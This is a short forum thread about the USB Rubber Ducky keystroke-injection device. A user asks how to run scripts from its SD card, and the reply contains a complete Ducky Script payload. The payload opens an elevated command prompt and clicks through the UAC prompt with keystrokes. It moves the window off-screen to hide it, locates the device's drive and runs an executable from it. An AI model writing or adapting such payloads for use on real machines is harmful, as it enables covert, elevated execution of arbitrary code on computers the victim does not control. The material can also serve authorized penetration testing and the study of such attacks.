[Question] running a powershell script from rubberducky sd?

[rubberduckyuser]

Hello,

just an idea, is it possible to run powershellscripts/rubyscripts/vbs or something from the sd-card?

i think exe is working, found this:

https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Payload---runexe-from-sd

so it should be possible right?

thx rubberduckyuser

[overwraith]

When I wrote that It was because I didn't know about some of the firmware options out there like the firmware that waits until you press the button to run. It was supposed to overcome the problem that it took time to mount the SD card. What the payload is supposed to do is to write a script that waits until the SD was mounted, then execute something on the SD card. I was having some trouble with getting it running 100 % of the time. I may eventually remove the payload from online, first I will have to re-test it. You might have some better luck using some of the firmware that uses the ducky button to execute the payload.

If you do end up simply using the firmware that allows you to press the button, the payload will be much simpler, and go something like this.

REM Target: WINDOWS VISTA
REM Encoder V2.4
REM Purpose: Create a Duck Script that executes an executable on the Ducky's removable storage. 
DELAY 3000
CONTROL ESCAPE
DELAY 500
STRING cmd /Q /D /T:7F /F:OFF /V:ON /K
DELAY 500
CTRL-SHIFT ENTER
DELAY 1000
ALT C
DELAY 750
ALT SPACE
STRING M
DOWNARROW
REPEAT 100
ENTER

REM Get the ducky directory. 
STRING for /f %d in ('wmic volume get driveletter^, label ^| findstr "DUCKY"') do set myd=%d
ENTER

REM Execute the payload on the removable storage. 
STRING %myd%\Payload.exe

REM Finish up the payload
STRING EXIT
ENTER

You will be using powershell though, so you may need to convert these command line commands to powershell.

Edited May 21, 2013 by overwraith